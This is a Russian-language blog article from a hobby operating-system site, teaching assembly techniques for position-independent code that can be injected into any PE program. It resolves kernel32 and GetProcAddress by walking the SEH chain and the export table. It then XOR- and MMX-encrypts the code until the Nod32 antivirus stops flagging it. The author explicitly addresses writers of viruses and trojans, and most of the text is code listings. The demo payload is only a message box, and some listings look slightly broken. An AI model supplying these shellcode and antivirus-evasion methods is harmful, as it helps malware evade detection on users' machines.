n3m1z1d4 OS
Пятница, 01.11.2024, 06:37
Меню сайта
Категории каталога
кодинг на асме [3]
все что оносится к асме ;)
n3m1z1d4 [2]
все, что относится к немизиде: кодинг под нее, описание и все-все-все :).
Наш опрос
Разработка Операционной Системы - это
Всего ответов: 44
Начало » Статьи » кодинг на асме

Создание переносимого, не определяемого антивирусами кода
 
Ты писал когда-небудь вирусы, трояны и тому подобное “вредоносное” ПО?
Проверял потом свое детище антивирем? Если ты писал это дело на асме (как и надо ;)),
то, скорее всего оно детектитса как неизвестный Win32 вирус (если переносим код,
а не экзэшник ;)), а если ты еще и модифицируешь свой бинарник в оперативе,
вообще – Win32 Crypt Virus. Я считаю, что в этом хорошего мало, поэтому пишу эту статью :).

Создание кода, который смог бы ужиться в любой PE программе довольно таки
не простая штука. Есть несколько вещей, без которых программа не может
существовать, которые она тащит за собой (точнее в себе :)), полностью теряя
переносимость кода (в принципе ей этого не нужно, но это нужно нам ;)).
Первое и самое главное – это, конечно же, таблица импорта.
В этой таблице хранятся имена функций винды (API), которые юзает прога
и пустые 4-ех байтовые промежутки, которые заполняются адресами
этих самых апи загрузчиком во время запуска программы.
То есть вызов какой либо апи выглядит так: Call dword ptr name_of_func

Где name_of_func – это смещение адреса нужной нам функции в таблице импорта.
Это значит, что в любой проге жестко вшита запись, которая заполняется
в момент запуска. Выходит, что скопировав кусок кода с вызовами разных апи
прога работать не будет так как надо (вылетание с эрором нормальной
работой не cчитается ;)). Вывод: нужно находить самим все функции!
Но это позже ;).
Что же делать, если нужен кусок кода, который должен быть переносимым
(то есть, скопировав из одной программы в другую, работал на 100%)?
В данном случае жесткие привязки нужно отправлять в топку, нам они ни к чему!
Это является вторым очень важным моментом. У нас не должно быть ни одной переменной,
четко привязанной к определенному адресу, потому, что такого адреса может просто-на-просто
не существовать. Так что избавляемся от вредной привычки адресовать переменные
через четкий адрес (если в сорце, на стадии проектирование – имя).
“Хорошо”- скажешь ты, - “А что же тогда можно использовать???
Как из этого возможно выпутаться???” В принципе можно,
и это не так сложно, как кажется ;). Начнем с того, что переменные будем
адресовать через стэк, и хранить их будем там же (в принципе, переменные
только туда и направляются еще на стадии компиляции, когда компилиш ЯВУ прогу.
Это будет выглядеть примерно так:

format pe gui 4.0 ;листинг 1
num_of_var equ 2; количество переменных
var_1 equ ebp ;обьявление синонимов
var_2 equ ebp+4
Готовим стэк для хранения наши переменных
sub esp,4*num_of_var;esp=esp-4*num_of_var
mov ebp,esp ;esp=ebp
;пример использования переменных:
mov dword[var_1],eax ;
;Возвращаем первоначалное значение esp:
add esp,4*num_of_var;esp=esp+4*num_of_var
ret

Весь прикол в том, что мы выделяем на стэке место, которое будем использовать
для хранения своих переменных. На 4 умножается число переменных потому,
что смещение в 32-ух битных (то есть максимальный размер переменных) процах
весит четыре байта(32 бита соответственно).
Итак, одна из проблем решена. Жесткой привязки к переменных у нас больше нет :).
Хотя нет… не решена, а что если необходимо передать функции в качестве
параметра адрес строки? Не будем же мы ее создавать каждый раз, теряя на этом
бесценные байты! Тут есть одна хитрость. Взгляни на код:

format pe gui 4.0 ;листинг 2
call $+5; прыгаем на 5 байт вперед,
;начиная от начала инструкции call,
;которая как раз и весит 5-байт
;то есть на следующую инструкцию :)
;и в тоже время ложем в стэк адрес следующей ;инструкции
start: pop ebp; то есть после выполнения этой ;инструкции в ebp будет лежать ее адрес.
sub ebp,start ;после этого в ebp будет лежать ;дельта, то есть, чтобы в eax положить смещение
;строки hi нужно прописать такой код:
lea eax,[hi+ebp]
ret;теперь в eax адрес строки hi :)
hi db 'hello world',0

Ну вот с переменными и константами разобрались :). Теперь самое интересное.
С таблицей импорта все не так просто. Я уже говорил, что она заполняется во
время запуска проги. Тут возникает вопрос: можно ли их, в тупую скопировать и
юзать MessageBoxA, например, через адрес 77D7050Bh? Ответ на него тоже возникает,
как не странно :). Дело в том, что адрес этой функции (которая находится в user32.dll, кстати)
будет меняться с каждым билдом этой либы. То есть даже в пределах одной оси с разными
сервиспаками совместимость теряется :(, что не очень хорошо.
Поэтому все адреса нужно искать самому. Давай рассмотрим следующий код.

format pe gui ;листинг 3
num_of equ 4
kernel_32 equ esi
get_proc equ esi+4
load_lib equ esi+8
get_module equ esi+$C
sub esp,4*num_of;
mov esi,esp
cdq; edx=0, короче чем ксор на байт
mov eax,dword ptr fs:edx
find_kern1:
mov ebx,[eax]
cmp ebx,-1
je find_kern2
mov eax,ebx
jmp find_kern1
find_kern2:
mov eax,[eax+4]
xor ax,ax
find_kern2_1:
mov ebx,[eax]
cmp bx,$5a4d;Это MZ?
jz find_kern2_2
sub eax,$10000
jmp find_kern2_1
find_kern2_2:
;сейчас у нас уже есть адрес kernel32.dll в eax
mov dword[kernel_32],eax
mov ebx,eax
add ebx,[eax+$3c]
add ebx,$78
mov ebx,[ebx]
add ebx,eax
mov edx,[ebx+$20]
add edx,eax;in edx address of export table
push ebx
xor ebx,ebx
getapi2k_4:
push esi
push ecx
call $+5+15;5-размер кола + размер слова
db 'GetProcAddress',0
pop esi; в esi будет лежать адрес слова,
xor ecx,ecx; по которому будем искать
mov cl,15
mov edi,[edx]
add edi,eax
repe cmpsb;по символьно сравниваем 15 букв
je getapi2k_3;(взгляни на cl ;))
pop ecx; есле равно то выпрыгиваем из цикла
pop esi
add edx,4
inc ebx
jmp getapi2k_4 ;мы нашли номер нужной апи
getapi2k_3:
pop ecx
pop esi
pop ecx
shl ebx,1
mov edx,[ecx+24h]
add edx,eax
add edx,ebx
mov edx,[edx]
and edx,$0FFFF
mov ebx,[ecx+$1c]
add ebx,eax
shl edx,2
add ebx,edx
mov edx,[ebx]
add edx,eax;Сейчас в edx лежит адрес GetProcAddress
mov dword[get_proc],edx
call $+5
_del:pop ebp
sub ebp,_del
;Находим адреса нужных нам апи
mov edi,esi; Следующий код выполняет
lea esi,[ebp+_import];одну рутинную
xor ecx,ecx;операци
_again1: ;намного эффективнее, чем
add cl,4 ;если бы мы каждую апи
push ecx ;искали сами.
;банальный цикл в общем :)
push esi
push dword ptr edi;Адрес kernel32.dll
call dword ptr edi+4;GetProcAddress
pop ecx
mov dword ptr edi+4+ecx,eax;
_again0: ;Поочереди заполняем наши
lodsb ;переменные
test al,al
jnz _again0
lodsb
test al,al
jz _stop
dec esi
jmp _again1
_stop:
mov esi,edi
;Конец. Либо нашли и все в умате, либо (если код не отлажен)
;все не очень ;), но тут надо быть внимательным, или любителем
;жесткого секса ;) (Оля – лучший парнтнер, как по мне :))
call _user32
db "user32.dll",0
_user32:
call dword[load_lib]
call _msg_box
db "MessageBoxA",0
_msg_box:
push eax
call dword[get_proc]
push 0
call _capt
db 'made by 3n3m1',0
_capt:
call _mesg
db 'h3ll0 w0rld =)',0
_mesg:
push 0
call eax
add esp,4*num_of
ret
_import:
db "LoadLibraryA",0,"GetModuleHandleA",0,0

Я прошу прощение, за то, что не комментирую каждую строчку листинга.
Дело в том что функция поиска апи давно известна, то есть не я ее придумал ;).
Очень рекомендую почитать ][спец 8.2004, называется “Переполнение Буфера”
(http://www.xakep.ru/magazine/xs/045/014/2.asp), там все очень хорошо описано,
я влил в настоящую программу, из реальной жизни (потому, что там все, имхо,
было вырвано из контекста). После того, как мы нашли адрес функции GetProcAddress,
мы вытягиваем все, что нам необходимо из либы kernel32.dll ( в функции GetModuleHandleA
нет необходимости в нашей проге, но для демонстрации моего алгоритма быстрого (это
цикл… то есть, возможно, не очень быстрого, но зато удобного ;)) поиска апи, с помощью
структуры имен, она необходима :)), точно также можно и из остальных либ по вытаскивать.
Дальше находим адрес функции MessageBoxA и показывает классический “h3llo w0rld =)!”.
К стати эти два кола я использовал для иллюстрации того, как можно еще пихать в стэк
нужные адреса (переносимость 100%, поскольку call прыгает всегда на + или – N байт
относительно себя, при этом ложит в стэк адрес следующей инструкции).
Итак, переносимый код мы написали :)! А теперь самое главное. Как проверить, что код
является переносимым? Имхо, проще всего это сделать через Ольку (ты ведь
необходишься без нее во время кодинга на асме, правда?).
Начнем. Заходим в Ольку. Открываем нашу прогу. Выделяем весь код. Жмем левую
кнопку мыши, выбираем Binary->Binary copy. Опускаемся вниз(в нули). Выделяем около
400-от строк (на глаз, главное, что бы не мало), начиная с 0040116Dh, и жмем на мышь
Binary->Binary past. Потом идем на entry poin. Жмем пробел и пишем jmp 0040116D.
Потом либо трассируем(F8), либо запускаем на исполнение(Ctrl-F9) и наблюдаем результат.
Вот и вся проверка на вшивость (или переносимость, как тебе больше нравится).
К стати, советую все что пишешь, компилиш, или запускаешь анализировать в Ольке,
будишь лучше асму шарить, да и устройство работы винды и виндовых приложений
раздуплиш не плохо :).

Давай теперь проверим наш экзэшник Нодом (Nod32 – Имхо, лучший эвристик), так…
что он пишет? “D:\temp\1.exe - вероятно неизвестный WIN32 вирус [7]”.
Опачки… А что же мы такого плохого делаем, что нас обзывают
ВЕРОЯТНО НЕИЗВЕСТНЫЙ WIN32 ВИРУС??? Показываем окошечко с надписью
“привет мир”? Да… дожились. Ну да ладно. Понятно, что он написал это потому,
что мы искали каждую апи самостоятельно (дело в том, что ее используют в
основном в вирусах), а не использовали таблицу импорта, как это делают ВСЕ программы.
Имхо, это сообщение портит всю малину. Антивирус Касперского пишет, что все О.К.,
обычная прога, ничего особенного.
Хм… Не очень мне нравится вот этот вывод Нода о нашей проге…
Надо с этим что-то делать.
Первое, что мне приходит на ум это шифровка кода.
Рассмотрим самый простой вид шифровки: xor.

format pe gui ;листинг 4call $+5_ebp:pop ebp
sub ebp,_ebp
lea esi,[ebp+_start]
mov edi,esi
mov ecx,_end-_start
_loop:
lodsb ;загружаем в al
xor al,$ff ;Шифруем c операндом $ff,;для расшифровки наобходимо повторить инструкцию
;cc тем же операндом

stosb ;<=>mov byte ptr esi, al(короче)
loop _loop;мотаем цикл, уменьшая ecx до нуля,
;на 1 за итэрацию.
ret
_start:
;Здесь пишем любой код(данные),
;который нам нужно зашифровать
push 0
pop eax
_end:

Запишем код вызывающий месагу с привет миром между _start и _end.
Вот этот кусочек кода можно выкинуть из листинга 3(тот, что будем копировать):
call $+5
_del:pop ebp
sub ebp,_del

"format pe gui" само-самобой тоже убираем с 3-его сорца. Дельту мы вычислим на начале
4-ого листинга. Еще надо удалить ret, что бы увидеть “h3llo w0rld =)!”
После копирования компилим. Дальше запускаем экзэшник в Ольке, жмем + и
наблюдаем за результатом. Участок кода будет постепенно превращаться в кучу никому
не понятного чего-то ;). Это нормально. Подождав пару секунд жмем , ставим бряк на
команду по адресу 00401020h и запускаем прогу по . После остановки на бряке выдели
весь зашифрованный код мышью, дальше мышь->Copy to executable->
->Selection->мышь->save file-> выбираешь имя и путь жмешь ОК.
После этого при запуске этого сохраненного, код между _start и _end будет
расшифровываться, то есть сигнатурный поиск ничего не даст ;)!
Проверяем Касперским… все ОК. Кто бы сомневался :). Лады, а Нод чем порадует?
Хм… “D:\temp\!2.exe - вероятно неизвестный CRYPT.WIN32 вирус [7]”… Да ни чем он
нас не порадовал :(… Хотя мы тоже не на basic'е писаны!!! Есть один очень интересный выход…
Глянь на сорец:

format pe gui ;листинг 5
call $+5
_ebp:pop ebp
sub ebp,_ebp
mov eax,_end-_start
xor ecx,ecx
mov cl,8
cdq
div ecx
mov ecx,eax
test edx,edx
jz $+3
inc ecx
_decrypt:
movq mm1,[ebp+_start+ecx*8]
movq mm2,[_ebp+ebp]
pxor mm1,mm2
movq [_start+ebp+ecx*8],mm1
loop _decrypt
_start:
_end

Принцип такой: ложим в ecx 8(qdword переменная, вмещающая в себя 8 байт)
делим eax, содержащий размер в батах шифруемого кода на ecx, потом то,
что получим положим в ecx, а если будет остаток(он ложитса в edx),
добавим 1 к ecx. Перейдем к шифрованию. Movq - команда которая работает с
mmx-регистрами (mm0,…,mm7), размер которых 8 байт, аналог mov, но работает
только со своими регистрами. Pxor - mmx xor, то есть xor который работает с
восьми байтовыми переменными. Между _start и _end вставь код из
3-его листинга(как в прошлый раз). Скомпиль. Проделай в Ольке то же, что и в
прошлый раз. Так… теперь натравим антивирь на нашу прогу. Касперский говорит,
что все ОК. Как всегда, в принципе. Так, а Нод… “D:\temp\!3.exe - - OK”.

Ну вот в принципе и все, что я хотел сегодня рассказать :).
Удачи тебе в освоении одного из самых красивых и
интересных языков программирования(не заслужено пинаемого всеми
кому не лень :-\) из всех существующих ;)!

Категория: кодинг на асме | Добавил: 3n3m1 (06.03.2007) | Автор: mn3m0n1c 3n3m1
Просмотров: 17856 | Рейтинг: 5.0 |

Форма входа
Поиск по каталогу
Друзья сайта
Copyright [mn3m0n1c 3n3m1] © 2007 Хостинг от uCoz